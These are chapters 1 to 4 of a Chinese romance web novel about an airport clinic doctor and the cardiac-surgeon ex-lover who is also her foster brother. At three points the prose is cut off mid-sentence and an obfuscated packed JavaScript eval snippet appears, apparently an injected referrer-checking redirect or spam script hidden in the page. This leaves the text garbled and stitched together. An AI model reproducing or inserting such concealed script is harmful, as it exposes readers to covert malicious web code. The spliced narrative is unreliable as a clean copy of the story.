《分手也得一起回家》 1. 第一章 这是春末夏初时节最普通的一天,平静如水,乏善可陈。 作为国内三大航空枢纽之一的容城国际机场,航站楼里人来人往,每时每刻都有人落地,有人起飞。 拖着行李箱着急赶路的人们就像是暴雨来临前的小蚂蚁,行色匆匆地汇入迁徙大军。 但在这样的忙碌之中,却还有人惦记着下午三点这一顿下午茶。 T2航站楼一楼到达大厅,靠近西出口的位置,在一间挂着蓝底白字“医疗急救”门牌的办公室里,身材高健丰满的值班护士陈羽丹把一盒过敏药递给面前的年轻女孩。 嘱咐说:“下次出门前可要检查好行李,别再落下东西咯。” 穿着鹅黄色无袖连衣裙的丸子头女孩手里拿着她刚给的药盒,有些不好意思地吐吐舌头,说下次一定记住。 这对年轻人是从外地来容城旅游,出门前没把握好时间,匆匆忙忙地出门,却落下了女生常用的过敏药,落地后路过医疗点,就进来问问有没有药,想买上一盒备用。 女孩道过谢,接着问:“那个……我还想问一下,从医务室出去,怎么方便去坐出租车啊?我们要去……呃、哪个广场来着?” 她一时想不起来目的地,扭头看向自己的同伴。 男生立刻回答道:“明珠广场,我们订的酒店在明珠广场附近。” “医务室出门向右走到50号门就可以看到西出口。”陈羽丹回答道,“那里有出租车上客点,明珠广场的话……” 她顿了顿,扭头看向坐在办公桌后面托腮笑眯眯看着她们说话的搭班同事,问道:“齐医生,去那边是不是坐地铁更方便一点?” “是啊,坐三号线到武宁西路,再站内换乘五号线,坐到明珠广场站下来,从A出口出去,就在明珠广场的广场边上。”齐眉笑眯眯地点点头。 她的声音很温和,带着淡淡的笑意,衬得她脸上一双圆润饱满的荔枝眼愈发动人。 那是一张很清丽的美人面,柔和清透到毫无攻击力,巧克力棕的长发简单扎在脑后,有两绺发丝调皮地跑到她的脸上,像在耳边荡秋千一般俏皮。 询问的女生被她吸引了目光,哦哦应了两声,有些不好意思地问:“……这、这样啊……那、那要怎么去地铁站啊?” “还是出门向右一直走,通过西出口后按照指示牌向前走就可以看到容城地铁的标志了。”齐眉还是那样笑吟吟的温声应道。 说完以后她从办公桌一角的盒子里拿出来一张名片大小的卡片,递过去,“这是容城地铁的线路图,出去玩的时候也许可以用得上,祝你们旅途愉快。” 修长纤直的指尖泛着健康的淡粉色,被光线一照,愈发白里透红,指甲修剪得干净整齐,没有任何装饰,非常符合她的职业身份。 女生听了连连点头,接过后小声道谢,脸孔都有些红了。 陈羽丹看着忍不住憋笑,等这对年轻人走了,她才对齐眉一顿挤眉弄眼,笑嘻嘻道:“难怪你能把副业做得有声有色,这服务意识真是这个。” 她说完竖了一下大拇指。 齐眉失笑:“我们不就是服务业?服务业当然要有服务意识,上周开员工大会,卢总不是才强调各部门要加上服务意识提高服务质量?” “他就得把口,口号喊得响响的……”陈羽丹吐槽到一半又忍了回去,转移话题道,“算了,不说他,我们点下午茶啊?隔壁肯德基最近有新联名诶。” 整个机场两座航站楼,共有八个医疗急救点,其中两个可以提供二十四小时服务,其余点位每天早七晚十一,由四个医师小组轮班负责,基本每一年都会换一个服务点位。 齐眉所在的医师二组,去年负责的就是两个二十四小时医务室,到今年一月份才轮换至现在的点位,晚上总算能睡个整觉。 而且这个位置离出口很近,隔壁是肯德基,斜对面是连锁咖啡店,再往右走还有便利店和另一家连锁咖啡,以及粥粉面之类的简餐,在她不想吃食堂的时候给足了选择余地。 “好呀,顺便帮我点一杯咖啡,要热的拿铁,记得把咖啡钱去掉我们再A。”齐眉笑着应好,转了一下不知什么时候出现在手上的笔。 话音刚落,就见一位中年男士一手推着两个行李箱,一手架着一位女士的胳膊,有些踉跄地撞进来,急切问道:“医生,有没有医生?快帮我们看看。” 齐眉抬眼,见对方脸色苍白,一副虚弱无力的模样靠在家属身上,连忙起身过去帮忙搀扶,问道:“哪儿不舒服?” 握上对方手掌的那一刻,她感觉到对方的手在很明显地颤抖,手心有些冰凉,微微湿润,给人一种不太好的感觉。 便接着问:“有没有心慌?” 女人点点头,但没有发出声音,齐眉便转向家属,语速极快地发问:“什么时候开始这样的?平时有没有糖尿病高血压?今天有没有吃东西?” 边说边按着对方的手腕默数脉搏,明显浮数的跳动告诉她,对方的心率很快。 这种症状,齐眉首先怀疑的就是低血糖,这是在机场旅客中很常见的问题之一。 家属虽然有些慌神,但对她的问题还是反应得很快:“就刚刚,我们本来打算去坐车的……有的,她有糖尿病,东西没吃,早上出门太着急没顾上吃早饭,她坐车不能吃东西的,会头才发现晕恶心……” 齐眉让陈羽丹给她测了一个随机血糖,3.0,对于糖尿病人来说,这个血糖已经很低了。 她立刻让陈羽丹拿了一支葡萄糖,让对方直接喝掉,然后去里面的观察室躺下。 这儿的观察室很小,总共就三张床,但平时能用得上的次数很少。 刚安顿好病人,又有旅客举着流血的手指来问有没有创可贴卖,齐眉才发现门口的药品自动贩售机里创可贴已经缺货。 帮对方处理好伤口,将贩售机里的药品清点一遍,向组长杨恒上报短缺药品清单,刚上传完表格,去给病人复测血糖的陈羽丹告诉她:“齐医生,病人血糖4.0了。” “那太好了。”齐眉大松一口气,一边开单划价,一边嘱咐对方,“早餐该吃还是要吃,要是怕晕车晕机就少吃一点,平时要随身带一点吃的在身上,巧克力或者糖果都行,也可以干脆带一点葡萄糖片,都是应急用的。” 对方连连点头,家属一脸庆幸地同她道谢,结了账他们离开之前,齐眉不忘再次提醒:“要是还有不舒服一定要去医院看看,不要掉以轻心。” 等送走这对旅客,陈羽丹刚去隔壁把订好的下午茶拿过来,还没来得及打开袋子,就听到一阵尖锐的电话铃声响起。 齐眉立刻拿起听筒,“您好,容城国际机场急救。” “急救,T2航站楼国内行李提取大厅38号转盘,有旅客突然晕倒。” “急救收到。” 她话音刚落,陈羽丹已经将医疗箱推了过来,那是一个银色的拉杆行李箱,贴有红十字的标记。 她们在两分钟内就抵达现场,疏散开围观群众,看见一位穿着卡其色上衣的中年男性已经被工作人员和家属平放到了地上。 齐眉大声喊了两声,对方一动不动,再一摸颈动脉,已经没有搏动了,当下便启动心肺复苏程序。 同一时间,陈羽丹跑去一旁取来了AED,组长杨恒和同一层楼的另一组同事续赶到现场,在救护车到来之前的十分钟里,几个人轮替进行胸外按压和AED除颤。 周围都是安静地驻足观望的旅客,大家都很紧张,不知道结果会如何。 人群里,一位身着黑衬衫、袖口挽至手肘,露出一截麦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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几人停下循声望去,只见120的随车医护正推着一辆平车从出口的方向飞奔而来。 “这是突发心梗?也真是巧,正好是江主任您的业务范围。” 江问舟闻言点点头,笑了一下,视线重新回到人群中,穿过忙碌又沉默的人群,直接落到其中正和120医生同步病人基础情况的背影上。 不是记忆里他夸过好看黑色长直发了,巧克力色的卷曲发尾贴在她的身后,似乎把她的身形还衬得胖了一点。 她和其他人穿着一样的白色制服,戴着口罩,他只看得到她的一边耳朵和半个额头,看起来陌生极了,但是…… 他的心跳比他的眼睛更快认出她。 “120来得还挺快,我刚才还跟老大说要不要去帮忙呢。” “这套流程估计早就做熟了,过年那会儿我还碰到他们进行应急演练,都是联合机场交警和附近医院的……” 陈妍和刚刚才巧遇的药代交谈的声音传入耳中,江问舟回过神来,顺着他们的话接了一句:“不用帮忙。” 略显突兀的一句话,让俩人同时一愣,陈妍下意识地问:“什么?” “他们做得很好,抢救流程很标准,用不着帮忙。”江问舟淡淡地解释一遍自己的话,随即将视线收回。 眼睑一垂,眼底那点骄傲又感伤的复杂情绪便被悉数遮掩。 怎么会不好呢?那可是他亲自教给她,陪着她练过一遍又一遍的技能啊。 那时她故意装作没学好,他却上了套,急得甚至有些口不择言:“西西,要不你直接在我身上按吧,我出点什么事你就能记住了。” 她盘腿坐在练习室的地上,笑得脸都红了,半天才小声地说:“我舍不得……” 可是后来他们走散的时候,她可一点都没有舍不得。 江问舟回过神,重新抬眼,盯着和同事一起将病人转移到担架上的齐眉,恨意像春天时树枝上突然冒出的嫩芽。 很小的一点点,在风中摇曳着,让人难以忽略。 2. 第二章 在齐眉和同事们对倒地旅客进行了十五分钟抢救措施后,救护车到达现场。 她刚简单向120医生介绍完病人的基本情况,就听到有同事惊喜地惊呼一声:“有了有了,自主心律有了……” 话没说完,又立刻卡住,像被掐住了脖子似的——病人好不容易恢复的自主心律再次消失,短暂得如同昙花一现。 但却依然让他们看到了一丝希望的曙光。 不能继续在这儿按下去了,现场条件简陋,而病人需要更高级的生命支持,才有更多生还可能。 他们暂停了按压,将病人转移到担架上,组长杨恒点了齐眉的名字:“阿眉你上去,继续给他按一下。” 齐眉点点头,扶着担架床的栏杆灵巧翻身上去,跨跪在病人身体两侧,膝盖顶着担架床围栏借了点力,一言不发地继续做着按压动作。 杨恒和另外一位同事同120医生一道,推着担架车飞快向出口跑去。 车轮骨碌碌碾过地面向前远走,现场开始播放疏散人群的广播:“尊敬的各位旅客朋友您好,这里是容城国际机场广播。感谢您对T2航站楼国内到达大厅突发状况旅客的关心,目前医护人员已妥善处理并将患者送往医院。为保障航站楼内通行秩序与其他旅客的顺畅出行,请您协助我们:一、有序散开,避免通道滞留……” 这段疏散人群的广播词先后用不同语言重复了三遍,先普通话后英语,到容城话时,江问舟终于和偶遇的药代寒暄结束,和陈妍继续往前走。 他要去停车场,不忘礼貌地询问陈妍:“需要顺道送你回市区吗?” 陈妍立刻道了声谢:“那太好了,谢谢老大,不过,老大你的车是停在机场里面吗?那很贵的。” “时间不长,还好。”江问舟笑笑,转移话题和她说起这次在申城举办的全国医师协会介入心脏病学大会暨全国胸痛中心大会上的内容。 “这次关于PCI的专题会上提到新技术和病例、常见并发症的处理,我觉得可以给学生们讲讲,你跟蔡朝同步一下,看安排在什么时候比较好。” 蔡朝既和她一样是他们组的一线,也是科里这一任的住院总和教学秘书,这事交给他准没错。 陈妍遂爽快地应了声好,表示自己会尽快把会议笔记整理出来上传到科室的共享文档。 说话间已经到了停车场,江问舟找到自己的车,是一辆白色的奥迪SUV,他摁了一下车钥匙,车大灯闪了一下。 陈妍这时才突然想到在网上看到过的一些吐槽帖,一时犹豫:“……那个,我方便坐副驾吗?” 江问舟微微一愣,旋即明白过来,点点头:“当然。” 心说有什么不方便的,他担心她会介意的人,如今也不介意了。 得到肯定的回复,陈妍这才拉开副驾的车门坐进去,系好安全带之后,她有些好奇地打量了一下车里的内饰。 布置都寻常,很简单,装饰只有一枚挂着的平安福,至于摆件之类是一概没有。 但她在中控下方的收纳盒里,看到了一个反扣着的相框。 便没话找话地随口一问:“老大你上班还随身带着家里人照片啊?” 江问舟启动车子的动作顿了一下,嗯了声。 不知道是不是觉得不回答不太好,顿了顿他才补充道:“是全家福。” 陈妍哦哦两声,没再继续这个话题,因为实在是还不太熟,很多话不太好说。 他们所在科室是心外科下属的二级科室成人心血管外科,三个月前,上一任科主任升任大科主任之后,大家以为科主任会在科里的老人之间产生,比如隔壁组那个除了门诊和手术最爱聊的是他那对虎皮鹦鹉的宋世朗主任,或者是先心病外科的薛主任平调过来,但没想到最后的人选是在所有人预料之外。 也不知道单位领导是怎么跟郭瑞卿教授谈的,竟然能说动他从申大一附院跳槽过来,就连教职关系也转到了他们学校,容医大就这样多了一位业内顶级专家博导。 郭主任还不是自己一个人来的,是带着自己的得意门生一起入职的,就是江问舟。 江问舟的个人履历十分辉煌,申大医学院八年制毕业,毕业时就已经手拿好几篇影响因子相当高的SCI,顺理成章留院,申大一附院对他们本单位的博士规培要求相当宽松,一年就行,他隔年结束规培后立刻中国青,国青结题后中面上,期间还在全国顶级心脏专科进修过一段时间,在加入他们科之前,他就已经是申大一附院心外科最年轻的副主任医师。 当他带着一堆paper跟着郭主任空降,一来就被委任带组的时候,所有人都被他的履历晃花了眼,老人们只顾着感慨后生可畏,小年轻或者同龄人也只会私底下惊呼“哇靠!卷王”,根本没来得及有什么反对意见,事情就已尘埃落定。 三个月后的今天,大家都已经习惯啦,虽然还是不太熟,但已经可以和他闲聊些八卦,被问起为什么会跳槽,他的回答是:“父母年纪慢慢大了,想想还是就近照顾一下比较重要。” 除此之外,再多他的个人信息便没人知道了。 直到这次去申城参加学术会议。 陈妍眨眨眼,一边低头跟蔡朝发信息,一边想起昨天下午专题讨论会间歇去洗手间时,无意中听到外面的闲聊: “江问舟居然也来了,我以为他不会再回这个伤心地了呢,至少短期之内不会,没想到啊……我要是有他心理素质这么好,干什么不成功啊。” “他为什么不来,你没看方仕平那几个学生还跟他谈笑风生?人家不知道多高兴呢,被pua被偷了那么久,居然是一个外人把他干翻了,他们才是渔翁得利。” “说得也是,不过江问舟也真够狠的,我听说方仕平对他还挺看重的啊?” “他跟方仕平有私仇的,而且方仕平跟郭教授不和,方仕平对他再看重,也就嘴上夸夸,反而是郭教授,走的时候不忘把他也捞走,人家现在都带组了,要还在一附院,且有得等呢,还有啊,方仕平一停职,郭教授立刻就把向栾推了上去,你说之前他们哪儿想得到接任方仕平的会是他啊。” “你这么一说还真是,我可真羡慕,我老板怎么就没这么好。不过……诶,江问舟跟方仕平能有什么私仇啊?难道方仕平也抢他论文了?” “这我不太清楚,也不好乱说……” 陈妍心里好奇死了,又不好意思问,只能忍着好奇。 车子刚离开机场停车场没多久,江问舟的手机就响了,他伸手接通,开了免提。 电话那边传来母亲孙茂芸的声音:“舟舟,你回到哪里啦?” “刚出机场。”江问舟温声应道,问她,“你感冒好点没有?” “都好啦。”孙茂芸笑眯眯地应,说等他回家吃完饭,又问他,“你从哪个航站楼出来的,见没见到西西?她今天也上班。” 江问舟闻言呼吸一顿,嗯声应道:“……没有。” “没有啊,那可惜了。”孙茂芸叹口气,吐槽说,“她真是越来越忙了,最近都不爱回家……” 江问舟听到这里,连忙打断她道:“妈,我在开车。” 孙茂芸声音一顿,哦哦两声:“那你先开车,注意安全。” 通话结束,陈妍为了缓解尴尬,没话找话地问:“阿姨说的是老大你的弟弟妹妹,还是哥哥姐姐啊?” 江问舟像是没想到她会这么问,没有立刻回答,过了十来二十秒那样,才淡淡地应道:“一个叔叔家的妹妹。” 他和齐眉的关系,一开始就是这样的。 十三岁那年夏天的某一天,他正准备出门去和同学打篮球,家里就来了客人,说是父亲的好朋友兼同学,让他叫齐叔叔。 那是一个眼角有一道刀疤,看起来很凶的男人,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这还是得知齐眉入职机场集团后,他才了解到的信息。 想到这里,他扭头朝车窗外看了一眼,恰好看见一辆救护车从里面开出来,也没有鸣笛,开得慢悠悠的。 两辆车擦肩而过的那一刻,他看见了坐在救护车前面副驾驶座上的齐眉。 她已经摘掉口罩,江问舟将她的脸看得一清二楚,那柔和的眉眼一入目,前尘往事刹那间便在脑海里翻涌着席卷而来。 明知车窗贴着防窥膜,她根本看不到自己,江问舟还是立刻转回头。 但他的动作太明显,以至于陈妍都被惊动,抬头有些惊讶又疑惑地看向他。 但他无暇解释,咬紧牙关,下颌绷得紧紧的,只觉得脸颊上的肌肉狂跳了好几下,随着两辆车之间的距离越拉越远,心里才慢慢平静下来。 可还是觉得狼狈。怎么能这么狼狈,他心里默默苦笑。 等到在单位门口将陈妍放下,车厢里只有他一个人后,江问舟才终于松了口气。 大概是因为目睹齐眉给旅客做抢救的一幕,他突然想起她考研前的事。 那时候他们还在暧昧,他问她以后想读那个方向,她盯着他看了半天,才低头应道:“内科吧,我想读肿瘤内科,咱们家已经有一个外科的了,再来一个内科,刚好打平,对吧?” 他忍不住笑,她得要永远不会离开他们家,才是真的一内一外恰好达到平衡。 她后来跟的老师也很好,是妇科肿瘤方面颇有造诣的专家,她原本应该有很好的前途。 江问舟一直觉得委屈,他恨毁了这个未来的人,但更恨齐眉。 恨她原来对他如此没有信心,那这些年的感情,他们做过的努力又算什么? 3. 第三章 下午五点多,齐眉和送晕倒旅客前往医院的组长和同事一起回到机场T2航站楼。 组长杨恒拍拍另一位同事的肩膀,对他和齐眉笑道:“今天辛苦了,晚上我请大家喝咖啡。” 齐眉笑着道了声谢,和他们在出入口处分开,各自回到自己的点位。 刚回到医务室门口,就听到陈羽丹说:“医生送病人去医院了,你们再等等吧。” 声音似乎还有些无奈,齐眉忍不住纳闷,出声问道:“怎么了?” 听到她的声音,陈羽丹立刻扭头看向她,脸上露出大松一口气的庆幸和惊喜:“齐医生你回来啦!” 齐眉嗯了声,看向屋里刚才和陈羽丹说话的人,很明显的一家三代女性,三四岁大脸圆嘟嘟满眼好奇的小姑娘,脸上神情微微尴尬又无奈的年轻妈妈,还有一直拉着孩子的手目光审视的中年女人。 “几位有什么事吗?”她收回目光,看一眼孩子,“有哪里不舒服?” 中年女人闻言立刻就要回答:“你怎么咒人……” “没事,我们没哪里不舒服。”话还没说完,就被年轻妈妈立刻打断,有些抱歉地解释道,“小孩看了电视剧,对医生很好奇好奇,路过的时候知道门口的十字代表医疗点,有医生,她就想进来看看,给你们添麻烦了,不好意思啊。” “原来是这样。”齐眉恍然大悟,笑着伸手轻轻一点小姑娘的脸,“你好奇什么呀?” 小姑娘看着她,满眼放光:“……我、我以后也、也想当医生!” 原来是有一个白大褂的梦吗?齐眉忍俊不禁,点点头道:“好呀,你努力学习,一定可以实现梦想的。” 见小朋友认真点头,她又忍不住好奇,问她:“你为什么想当医生呀?” 她以为会是医生看起来很酷很帅那样的答案,制服控嘛,她很早以前还幻想过像干爸那样当警察呢。 但没想到小姑娘的回答却是:“奶奶说,当医生可以挣大钱!” 齐眉一愣,看一眼拉着孩子的中年女人,看到对方眼里的赞许,看来这就是奶奶本尊了,她不由得失笑。 “想挣大钱的话,当医生可不行哦。” 小姑娘一愣:“……啊?” 她年纪小,还不懂这话的意思,甚至连挣大钱是什么都未必真的懂,无非是有钱就可以买玩具零食新衣服,这都是大人灌输给她的。 倒是她奶奶立刻反驳道:“怎么不可能,别听她骗你,人家医生做一个手术能拿好几万呢,你爷爷以前做心脏搭桥,花了好几万!” 齐眉听了忍不住直眨眼,刚想反驳,就听孩子妈妈无奈反驳道:“妈!跟你解释了多少次,有医保报销,实际没有花那么多!而且钱也不是进医生的口袋,打的针吃的药不用成本吗?你能不能不要这样教孩子?她还那么小……” 抱怨的话没说完就被打断,对方说:“我可不信你们,你们惯会虚报账目的,上次你买的那个裙子,明明是两千,结果跟我说三百块,要不是我会用手机,懂上网查,就被你骗了。” “哎哟,我们家是什么富豪家庭,买个裙子就要两千,我要不是你亲妈,早就骂死你,得亏离了,要是你那个前婆婆……” 对方顺着话题发散开,开始当众教训孩子了,别说本人了,就是齐眉一个外人,听着都觉得十分尴尬。 她看一眼陈羽丹,俩人默契地装没听到,转头说起送去医院的那位旅客:“怎么样,脱离危险了吗?” “送进ICU了。”齐眉点点头,端起桌上那杯拿铁,早都已经凉透了,喝起来就是最最普通的奶咖味,“幸好送去得及时,我们回到半路,医院那边就给信息说生命体征平稳了。” “那就好。”陈羽丹把点的下午茶里她的那份递过去,“垫垫肚子。” 幸好这会儿也没什么事,齐眉便借着电脑的遮挡,打开了装薯条的盒子。 小姑娘天真,看了一会儿正在被奶奶滔滔不绝教训的妈妈,就转头看向齐眉。 齐眉拿着根薯条,看着她眨眨眼,也不敢给她吃,想了想,从抽屉里找出一块巧克力,递给她,嘱咐道:“问过奶奶和妈妈再吃,可以吗?” 小姑娘点点头,齐眉忍不住好奇地问她:“你为什么想挣大钱呀?” “……给妈妈买裙子。”小姑娘小小声回答她,还扭头看了妈妈一眼,“有很多很多钱,那样奶奶就不会骂妈妈了。” 这答案连陈羽丹都忍不住惊讶,和齐眉对视一眼,伸手揉揉她的脑袋。 “你好好念书,肯定可以做到的。” 话音刚落,就见她妈妈一把将她拉了过去,满面通红地对齐眉她们说了声抱歉,就拽着孩子走了。 孩子的奶奶一边继续唠叨你这么大了真是不懂事我是你妈我还能害你吗,一边也跟着走了。 一家三口的背影看起来都那么仓促,多少有点落荒而逃的意味。 真没想到会是这样的发展,俩人俱是哭笑不得,对视一眼,摇摇头,倒也没说什么。 只是齐眉忍不住想起江问舟,要是让他听到这番话,也不知是好气还是好笑。 外人根本不知道,他们要付出多少努力,又要有多少运气,才能如愿站在手术台边当主刀医生。 她实习和读研都和江问舟在一个单位,后来甚至住在一起,有时她忘了钥匙去找他拿,碰上他刚从手术室回来,一说起就是今天跟了几台手术,难不难做,站了多久,一会儿还要做什么。 他转身时洗手服被汗水浸透的背影,在她记忆里总也忘不掉。 他曾经是她前行的灯塔,是她也想要成为的人,只有优秀到和他一样的水平,她才觉得自己可以问心无愧、理所当然地站在他身边。 ——我是最好的了,所以是你最好的选择,除了和我在一起,你没有、也不该有别的选择。 多么幼稚的想法,齐眉如今想起来都觉得想笑。 傍晚六点,她和陈羽丹轮流去食堂吃饭,刚进员工餐厅的门,就收到杨恒的信息,让她去哪儿哪儿,说好今天请他们喝咖啡的。 齐眉没想太多,直接就过去了,去了才发现,原来不止杨恒和下午一起送旅客去医院的那位同事,还有一位不熟的小帅哥。 她微微一愣,询问的目光看向同事。 同事立刻介绍道:“这是肖涵,刚来我们机场的地勤,在T2二楼的问询处,是我老婆同学校的学弟。” 同事的爱人是容城航空的空乘,齐眉闻言便好奇地问新同事:“学的是空乘专业吗?” 肖涵点点头,看她一眼,目光突然闪烁,耳朵似乎有些红了。 齐眉一愣,心里猛然一激灵,有些不可置信地看向同事,犹豫了一下,说:“我先去打饭,一会儿就回来。” 杨恒忙说:“我跟你一起去,我去点咖啡,阿眉你喝什么?” “热拿铁,不加糖。”齐眉应了声,挑了个人少的窗口,去要了份小锅米线。 等她端着米线往回走,快要靠近桌子的时候,肖涵起身朝她走了过来。 “……我、我帮你吧。”他表情很不好意思,声音听起来也有些忸怩。 齐眉又不傻,看一眼同事,见他冲自己眨眼睛,还意味深长地笑笑,心里便确定了自己的想法。 是要给自己介绍对象啊……她有些无奈地笑笑,好像有些人就是喜欢给人做媒,不分男女。 坐下以后同事和杨恒一唱一和,先是问肖涵有没有女朋友,肖涵摇摇头,有些腼腆地说:“在学校的时候没来得及。” 那俩人就佯装惊讶:“诶呀,阿眉好像也没对象,你俩还挺有缘分。” 齐眉嘴角一抽,心说你俩这演技连五十分都没有,也太生硬了吧! 她笑笑,刚要说什么,就听同事问肖涵是哪一年的,最后一算,杨恒连连点头:“女大三抱金砖,阿眉这可是抱着两块金砖,不错不错。” 齐眉差点让小锅米线的汤辣得呛咳出声,连忙摆摆手,拒绝道:“我不喜欢比我小的,我前男友还比我大五岁呢。” “年纪大的有什么好,还得是小年轻,阳光帅气,你找个比你大的有什么意思。”同事一听,立刻开始劝道。 齐眉坚定地摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……应该可以吧。”他笑笑,对怀里的猫说,“金金要让让妹妹,知道没有?” 年年是齐眉养的一只萨摩耶,应该是不到两岁,江问舟想着就有些不快。 那人以前说,以后一定要养一只猫,她最喜欢金渐层,颜色漂亮,金灿灿的,像刚烤好的面包,可是如今养猫的却只有他。 她总是食言,一而再,再而三。 江问舟抱着猫进屋,在沙发上坐下,金金好像感受到他情绪突然低落,抬头蹭蹭他,咪了一声。 他摇摇头,听到母亲问他:“明天周日,你休息吗?” 江问舟嗯了声,听她继续道:“那正好,明天西西也休息,叫她回来认认门,一起吃顿团圆饭。” 孙茂芸说到这里顿了顿,想起来:“你回来都几个月了,咱们家还没吃过团圆饭呢。” 她吐槽说:“你们这些年轻人啊,忙忙忙,我们当父母的想见见你们,我看是还得预约。” 江问舟心说那是因为人家不想见我。 他听完孙茂芸的话,沉默半晌,忽然说了句:“那我去接她吧。” “好啊,反正她小时候放学你也没少接。”孙茂芸没多想,笑眯眯地回答道。 说完招手叫金金:“宝宝快来奶奶这里,看看喜不喜欢这个新的猫包?明天你就装在这里面跟我们一起搬家哈。” 江问舟看着和猫玩到一起的父母,突然心里有些忐忑。 齐眉会愿意见到他吗? 容城机场很多工作岗位都是上一休二,齐眉亦是如此。 早上九点过一刻,她和今天当班的同事交了班,去更衣室换了衣服,刚出来,就见肖涵在医务室门口探头探脑。 她顿时忍不住皱眉,就当她是自恋吧,可现在真的不想和对方有什么接触。 齐眉一面想着待会儿如何拒绝对方的任何邀请,一面慢吞吞地往门边走。 看见肖涵眼睛亮起的那一瞬间,她还没来得及头皮发麻,就先听到一道极为熟悉的声音传来: “西西。” 4. 第四章 三年前大约也是这个时候,四月底下旬,齐眉的研究生论文盲审已经通过,开始着手毕业答辩。 而江问舟正准备启程前往京市,要去京大二附院的心外科进修半年。 京大二附院心外科是国内顶级的心脏专科,在那里有名医荟萃,也有许多慕名而去、将那里当做最后的救命稻草的危重病人,可以毫不夸张地说,对于一名心外科医生,那里连空气都充满了值得学习的内容。 而那时的江问舟初出茅庐,三十岁的年纪,博士毕业定科也没几年,这样好的机会,论资排辈的话,科里肯定有人比他更有资格去进修。 但他的导师郭瑞卿教授积极争取,努力促成了此事,为此那段时间他还听到不少酸话,甚至有人挑唆他和师门其他人之间的关系。 “都是郭教授的学生,为什么只让他去,不让你们去?论学术水平,你们也不见得比他差吧?论资历,你们比他早进门,轮也轮到你们了,可是现在……你们居然被一个师弟压在头上,啧啧啧。” 偏偏科主任方仕平和郭教授因为工作理念不合,已经不睦许久,当然想顺水推舟更换人选,但偏偏这时齐眉意外入局…… 后来发生的事,齐眉极力淡忘,总之就在这样的争议声里,江问舟办好了去进修的手续。 也是这个时候,齐眉向他提出了分手,分手理由是担心家里接受不了。 “干爸干妈让我们当兄妹的,可是我们现在这样……我怕他们生气,我没有爸爸妈妈,不想连干爸干妈都失去。” 那段时间那么多的风言风语,甚至是某些人很明显的针对,江问舟都无动于衷,齐眉一句话就直接给他干破防了。 齐眉永远都记得他听到这句话时的反应。 先是错愕和哭笑不得:“西西别闹,我半年不到就回来了,我们上个月不是说好了吗?到时候我来开口说这事,你放心,我会处理好的。” 继而是在她重复了一遍分手的要求之后,他良久的沉默,以及后来几近崩溃的盛怒:“齐眉,你睡我的时候怎么没想到我们是兄妹?怎么不记得你干爸干妈?” 这话好难听啊!难听到她捂着耳朵当场就跑了,像掩耳盗铃的缩头乌龟,又像把脑袋埋进沙子里的鸵鸟。 后来几天江问舟一直试图和她详谈,追问她到底发生了什么事,她要么沉默以对,要么车轱辘话来回说,咬死了是担心家里不同意。 出发在即,江问舟明知她有重大隐瞒,但又拿她没办法,更没有时间慢慢套她的话,再有针对性的解决问题。 他好话歹话说尽了,甚至试图恐吓她:“那我不去进修了,我们现在就回去,缩头是一刀伸头也是一刀……” 话还没说完齐眉就腾地一下站起来,盯着他的眼睛,一字一句地说:“你要是敢放弃,我立刻死给你看。” “那你答应我,先冷静冷静,等我回来,我们再商量怎么解决问题,好吗?”江问舟顺势使出了拖字诀。 但没有用,齐眉当时的沉默并不是默认,只是暂时稳住他罢了,他去京市一个月后,到了六月,她的论文答辩顺利结束,拿到毕业证和学位证之后,就立刻离开了申城。 同时删除江问舟的联系方式,将他全平台拉黑,注销所有社交平台账号,甚至换了电话号码。 她不仅放弃了江问舟,还放弃了自己本来光明的前途。她原本已经拿到继续攻读博士的名额,却临时放弃,导师闫嫣教授百思不得其解到哪怕几经周折也要联系上她问一句为什么。 后来发生过什么事,江问舟是不是发现了什么,齐眉不知道,也不想知道。 读书时代总体还是很快乐的,有为了目标努力拼搏的激情,也有在旁人艳羡目光里的意气风发,只是最后有些虎头蛇尾。 反正在她的坚持下,最终和江问舟断掉了联系。 但是他们的关系太特殊了,江问舟的父母是她干爸干妈,那是从八岁开始,就代替她亲生父母,给她关爱和照顾,将她当成亲生孩子一样的人,她根本无法割舍。 只要她还想要干爸干妈,就不可能真的和江问舟断得干干净净,总会有见面的一天。 所以这几年她很刻意避开会和他碰面的机会,春节和国庆这样的长假风险最高,她会主动帮同事值班,上一休二的工作制度让她有时间兼顾副业,恰好这份副业节假日生意最好,这样就可以让她忙过整个长假。 干妈孙茂芸会吐槽她:“假期也不好好休息,这么爱工作,就会有做不完的工作。” 她每次都撒娇说:“趁年轻嘛,我再攒点钱,够用了我就把店关了。” 其实是骗人的,她不过得过且过,根本不知道该怎么办。 她做过噩梦,梦见江问舟结婚,搂着另一个女人的肩膀让她叫嫂子,他会当爸爸,会和别的人变成亲密无间的一家三口一家四口,渐渐的,这个家就彻底抹去了她存在过的痕迹…… 这几乎是未来必定会发生的一切,齐眉从起初的难以置信,到后来平静地等待这一天的到来。 而江问舟在这三年里只和她联系过一次,时间是他从京市进修结束回到申城的那个冬天,号码应该是从干妈那儿拿的,发信息问她,执意分手和放弃读博,是不是跟他们主任方仕平有关。 她沉默很久,回复说都已经过去了:【即便没有这件事,我们也未必能走到最后,这是我冷静思考后得出的结论。抱歉,我从前说了谎,我说我想当一名为人类解除病痛的医生,但其实不是,我对治病救人兴趣不大,只是想迎合你,希望你觉得我们是志趣相投,有共同的人生目标和话题。】 她告诉江问舟:【跟你在一起的时候,我想要努力变得更好,是为了更配得上你,而不是我喜欢医学。我以为只要和你在一起,就算这份工作不是我喜欢的,我也可以坚持,可是发生这样的事,不管我们关系如何,我都不可能再坚持了,白大褂对我而言不再神圣。】 